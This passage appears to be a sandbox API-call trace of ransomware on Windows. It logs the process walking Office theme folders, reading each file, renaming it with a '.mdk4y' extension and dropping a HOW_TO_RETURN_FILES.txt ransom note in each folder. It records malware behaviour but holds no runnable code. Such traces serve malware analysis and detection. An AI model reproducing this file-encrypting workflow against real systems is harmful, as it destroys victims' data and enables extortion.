dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.877] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819410700000) returned 1 [0118.877] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x54a, lpOverlapped=0x0) returned 1 [0118.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819412700000) returned 1 [0118.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819412800000) returned 1 [0118.898] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.mdk4y")) returned 1 [0118.899] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.899] AreFileApisANSI () returned 1 [0118.899] GetACP () returned 0x4e4 [0118.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0118.899] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819412900000) returned 1 [0118.899] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7eb1, lpOverlapped=0x0) returned 1 [0118.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819413000000) returned 1 [0118.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819413000000) returned 1 [0118.901] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.mdk4y")) returned 1 [0118.901] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.901] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.901] AreFileApisANSI () returned 1 [0118.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0118.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.902] GetFileType (hFile=0x130) returned 0x1 [0118.903] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.903] AreFileApisANSI () returned 1 [0118.903] GetACP () returned 0x4e4 [0118.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPEDITN", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPEDITN", lpUsedDefaultChar=0x37df4c) returned 8 [0118.903] AreFileApisANSI () returned 1 [0118.903] GetACP () returned 0x4e4 [0118.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\") returned 65 [0118.903] AreFileApisANSI () returned 1 [0118.903] GetACP () returned 0x4e4 [0118.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0118.903] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.903] AreFileApisANSI () returned 1 [0118.903] GetACP () returned 0x4e4 [0118.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0118.903] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.903] AreFileApisANSI () returned 1 [0118.903] GetACP () returned 0x4e4 [0118.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPEDITN.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXPEDITN.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0118.903] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819413400000) returned 1 [0118.904] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x19539, lpOverlapped=0x0) returned 1 [0118.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819415100000) returned 1 [0118.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819415100000) returned 1 [0118.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.mdk4y")) returned 1 [0118.923] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.923] AreFileApisANSI () returned 1 [0118.923] GetACP () returned 0x4e4 [0118.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPEDITN.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXPEDITN.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0118.923] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819415400000) returned 1 [0118.924] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x255, lpOverlapped=0x0) returned 1 [0118.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819415500000) returned 1 [0118.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819415500000) returned 1 [0118.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.mdk4y")) returned 1 [0118.947] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.947] AreFileApisANSI () returned 1 [0118.947] GetACP () returned 0x4e4 [0118.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.947] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819417700000) returned 1 [0118.947] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1400, lpOverlapped=0x0) returned 1 [0118.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819417800000) returned 1 [0118.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819417800000) returned 1 [0118.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.mdk4y")) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.949] AreFileApisANSI () returned 1 [0118.949] GetACP () returned 0x4e4 [0118.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0118.949] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819418000000) returned 1 [0118.950] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xed34, lpOverlapped=0x0) returned 1 [0118.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819418200000) returned 1 [0118.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819418200000) returned 1 [0118.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.mdk4y")) returned 1 [0118.953] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.953] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.953] AreFileApisANSI () returned 1 [0118.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0118.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.953] GetFileType (hFile=0x130) returned 0x1 [0118.954] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.954] AreFileApisANSI () returned 1 [0118.954] GetACP () returned 0x4e4 [0118.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ICE", cchWideChar=3, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ICEEDITN", lpUsedDefaultChar=0x37df4c) returned 3 [0118.954] AreFileApisANSI () returned 1 [0118.954] GetACP () returned 0x4e4 [0118.954] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\펱Ł6(ŷ") returned 60 [0118.955] AreFileApisANSI () returned 1 [0118.955] GetACP () returned 0x4e4 [0118.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0118.955] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.955] AreFileApisANSI () returned 1 [0118.955] GetACP () returned 0x4e4 [0118.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0118.955] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.955] AreFileApisANSI () returned 1 [0118.955] GetACP () returned 0x4e4 [0118.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ICE.ELM", cchWideChar=7, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ICE.ELMxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 7 [0118.955] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819418600000) returned 1 [0118.956] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x109d0, lpOverlapped=0x0) returned 1 [0118.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819419600000) returned 1 [0118.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819419600000) returned 1 [0118.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.mdk4y")) returned 1 [0118.968] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.968] AreFileApisANSI () returned 1 [0118.968] GetACP () returned 0x4e4 [0118.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ICE.INF", cchWideChar=7, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ICE.INF", lpUsedDefaultChar=0x37dec0) returned 7 [0118.968] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819419800000) returned 1 [0118.968] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ad, lpOverlapped=0x0) returned 1 [0118.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819419900000) returned 1 [0118.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819419900000) returned 1 [0118.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.mdk4y")) returned 1 [0118.969] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.969] AreFileApisANSI () returned 1 [0118.970] GetACP () returned 0x4e4 [0118.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0118.970] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819420000000) returned 1 [0118.970] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9f8, lpOverlapped=0x0) returned 1 [0119.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819423600000) returned 1 [0119.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819423600000) returned 1 [0119.006] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.mdk4y")) returned 1 [0119.024] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.024] AreFileApisANSI () returned 1 [0119.024] GetACP () returned 0x4e4 [0119.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0119.024] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819425400000) returned 1 [0119.024] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4981, lpOverlapped=0x0) returned 1 [0119.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819425500000) returned 1 [0119.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819425500000) returned 1 [0119.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.mdk4y")) returned 1 [0119.026] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.026] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.026] AreFileApisANSI () returned 1 [0119.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0119.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.027] GetFileType (hFile=0x130) returned 0x1 [0119.027] FindNextFileW (in: hFindFile=0x6ab310, 